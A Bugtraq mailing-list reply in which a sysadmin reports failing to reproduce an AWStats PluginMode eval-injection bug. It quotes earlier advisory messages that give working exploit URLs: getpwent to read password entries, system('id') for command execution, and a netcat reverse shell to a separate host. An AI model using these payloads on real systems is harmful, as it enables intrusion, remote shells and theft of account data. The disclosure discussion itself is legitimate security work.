Bugtraq: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3?

[Jamie Pratt <jpratt () norwich edu>]

So what are the conditions of this bug/vuln?  I can't reproduce this on 
several 6.3 installs..:
awstats 6.3 from source:

request:

http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+;

output:
****************
Error: Can't locate object method "BuildFullHTMLOutput_print" via 
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1) 
line 1.
Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or 
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' 
directory).
***************

regards,
jamie

Ondra Holecek wrote:
> GHC () www securityfocus com wrote:
> |
> | /*==========================================*/
> | // GHC -> AWStats <- ADVISORY
> | \\ PRODUCT: AWStats
> | // VERSION: <= 6.3
> | \\ URL: http://awstats.sourceforge.net/
> | // VULNERABILITY CLASS: Multiple vulnerabilities
> | \\ RISK: high
> | /*==========================================*/
>
> [...]
>
> |
> | PluginMode=:print+getpwent
> |
> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
> | This will satisfy eval() requirements., and :print getpwent() is 
> executed.
> |
> |
> http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent 
>
> |
> | Sanitazing limits user's input, but there is no filtration for call
> sympols '()'.
>
> no, user is not limited, he can execute ANY command if he add ; at the
> end of the command, try this
>
> awstats.pl?&PluginMode=:print+system('id')+;
>
> or even this
>
> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
>
>
> Ondra
--

James Pratt
Unix Systems Administrator
Norwich University
http://www.norwich.edu/it
<jpratt () norwich edu> | ph. (802)485-2532